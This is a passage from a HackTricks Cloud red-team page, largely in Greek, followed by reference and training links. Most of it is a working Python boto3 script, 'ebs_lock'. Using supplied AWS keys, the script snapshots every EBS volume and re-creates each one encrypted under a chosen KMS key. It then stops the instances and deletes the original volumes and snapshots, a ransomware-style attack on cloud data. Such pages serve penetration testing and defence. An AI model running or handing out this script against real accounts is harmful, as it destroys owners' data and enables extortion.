ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Αναφορές
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Κάλυψη κενών σε IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

